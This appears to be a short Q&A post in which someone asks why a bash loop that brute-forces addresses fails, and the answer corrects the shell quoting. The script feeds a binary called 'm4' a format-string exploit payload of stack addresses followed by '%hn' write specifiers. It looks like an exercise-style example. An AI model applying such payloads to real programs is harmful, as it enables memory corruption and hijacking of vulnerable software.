Should work when you take the hex_base
out of single quotes:
./m4 "`python -c 'print "\x66\x66\x'${hex_offset}'\xed\xff\xbf\x'${hex_base}'\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
質問
I'm having some problem with my shell script:
I want to run my program m4 with different kind of string, I wrote down this script:
#!/bin/bash
for number in $( seq 16 253 )
do
num=$((number+2))
hex_base=$( printf "%X" ${number} )
hex_offset=$( printf "%X" ${num} )
./m4 "`python -c 'print "\x66\x66\x${hex_offset}\xed\xff\xbf\x${hex_base}\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
done
It counts from 10 to FD in hexadecimal and put this values in my string. This error appears:
ValueError: invalid \x escape
First question: is this a real error or just a warning? Second question: why if all the value are made of two characters in the address you should see in the string, the error however appears?
解決
Should work when you take the hex_base
out of single quotes:
./m4 "`python -c 'print "\x66\x66\x'${hex_offset}'\xed\xff\xbf\x'${hex_base}'\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"